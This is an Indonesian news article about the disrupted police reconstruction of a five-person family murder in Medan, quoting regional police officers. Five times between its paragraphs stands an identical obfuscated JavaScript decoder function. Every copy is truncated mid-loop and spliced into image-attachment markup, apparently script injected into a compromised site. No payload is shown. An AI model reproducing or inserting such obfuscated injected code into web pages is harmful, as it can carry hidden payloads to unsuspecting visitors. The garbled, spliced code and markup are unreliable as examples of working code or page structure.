CALEG GOLKAR

Rekonstruksi Pembunuhan Andi Lala Ricuh

MEDAN (medanbicara.com) – Rekonstruksi pembunuhan sadis lima anggota keluarga yang dilakukan tersangka Andi Lala Cs, sempat ricuh karena diamuk oleh keluarga korban, Senin (8/5).

Dalam peragaan kasus pembunuhan itu, Andi Lala (37), Roni Agara (21) dan Andi Saputra (27) di lokasi kejadian Jalan Mangaan, Gang Benteng, Mabar, belum menguak fakta baru dari sejumlah misteri yang masih tersimpan atas kasus tersebut.

Jalannya proses rekonstruksi yang dikawal ketat sekitar 400 lebih personel gabungan Brimob dan Shabara itu bahkan sempat menyisahkan dua adegan tertunda setelah terpaksa dihentikan oleh pihak kepolisian karena semakin padatnya kerumunan warga masyarakat di lokasi yang berusaha meluapkan emosinya terhadap para tersangka.

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandi-lala-ricuh/attachment/img-20170508-wa0024″ rel=”attachment wp-att-6181″>IMG-20170508-WA0024

Direktur Ditreskrimum Polda Sumut, Kombes Pol Nurfallah, menyampaikan kepada wartawan, jalannya rekonstruksi pembunuhan sadis sekeluarga itu terpaksa sempat dihentikan atas pertimbangan untuk mengantisipasi berbagai hal yang tidak diinginkan dari aksi massa yang berkerumun di lokasi kejadian.

“Sempat tersisa dua adegan yang belum sempat diperagakan di lokasi, karena melihat kerumununan warga yang semakin padat dan berusaha meluapkan emosi terhadap para tersangka maka jalannya rekonstruksi sempat kita hentikan semetara atas pertimbangan mengantisipasi hal yang tidak diinginkan dari aksi massa,” sebut Nurfallah.

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandi-lala-ricuh/attachment/img-20170508-wa0023″ rel=”attachment wp-att-6182″>IMG-20170508-WA0023

Lebih lanjut Nurfalllah menyampaikan, proses rekonstruksi yang masih menyisahkan dua adegan kemudian kembali dilanjutkan di Mapolda Sumut.

“Sudah dilanjutkan kembali dua adegan yang tersisa, rekontstruksi kita gelar di Mapolda Sumut,” jelas Nurfallah.

Ketika ditanya lebih jauh mengenai fakta baru yang terungkap dari jalannya rekonstruksi yang telah dilakukan, Kombes Nurfallah mengaku belum menemukan adanya fakta baru berkaitan kasus pembunuhan sadis tersebut.

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandi-lala-ricuh/attachment/img-20170508-wa0027″ rel=”attachment wp-att-6183″>IMG-20170508-WA0027

Nurfallah juga menyebutkan bahwa adegan yang diperagakan sinkron dengan keterangan yang disampaikan para tersangka kepada penyidik.

“Mengenai fakta baru belum kita temukan, sejauh ini masih sinkron dengan keterangan yang disampaikan para tersangka kepada penyidik,” pungkasnya.

Sementara itu, Kasubdit III/Jahtanras Ditreskrimum Polda Sumut, AKBP Faisal Napitupulu menambahkan, proses rekonstruksi yang dilaksanakan terdiri dari 50 adegan. Meski sempat terhenti, dua adegan di antaranya adegan ke 12 dan 13 terpaksa digelar di Mapolda Sumut.

“Adegan ke 12 dan 13 yaitu saat Andi Lala kembali ke mobil dan mengaku akan mengambil alat hisap sabu. Padahal dia mengambil besi seberat 11 Kg yang dipakai untuk mengeksekusi para korban. Kemudian pada saat seorang saksi bertemu dengan tersangka Roni dan Andi Syahputra,” jelas Faisal.

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandi-lala-ricuh/attachment/img-20170508-wa0029″ rel=”attachment wp-att-6184″>IMG-20170508-WA0029

Faisal menjelaskan, peragaan ke-48 adegan di TKP itu bermula dari tahap perencanaan pembunuhan yang dilakukan ketiga tersangka di Lubukpakam, Deliserdang.

“Untuk efisiensi waktu, peragaan adegan perencanaan itu dilakukan tidak jauh dari lokasi rumah korban Riyanto,” kata Faisal.

Sedangkan untuk rekonstruksi eksekusi pembunuhannya, Faisal menyebutkan tetap berlangsung di rumah korban. Rekonstruksi tersebut menurutnya untuk mengungkap fakta yang disampaikan para tersangka dalam kasus pembunuhan sadis yang menewaskan lima orang satu keluarga tersebut.

“Total di TKP tadi ada 48 adegan dari yang seharusnya 50 adegan. Dua adegan batal digelar karena alasan keamanan dan masyarakat mulai menyerang para tersangka,” pungkas Faisal.

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandi-lala-ricuh/attachment/img-20170508-wa0028″ rel=”attachment wp-att-6185″>IMG-20170508-WA0028

Rekonstruksi kasus pembunuhan yang dilaksanakan di dua lokasi di antaranya TKP dan Mapolda Sumut itu juga turut dihadiri langsung oleh tim dari Jaksa Penuntut Umum (JPU) dan penasehat hukum para tersangka. (emzu)

Mungkin Anda juga menyukai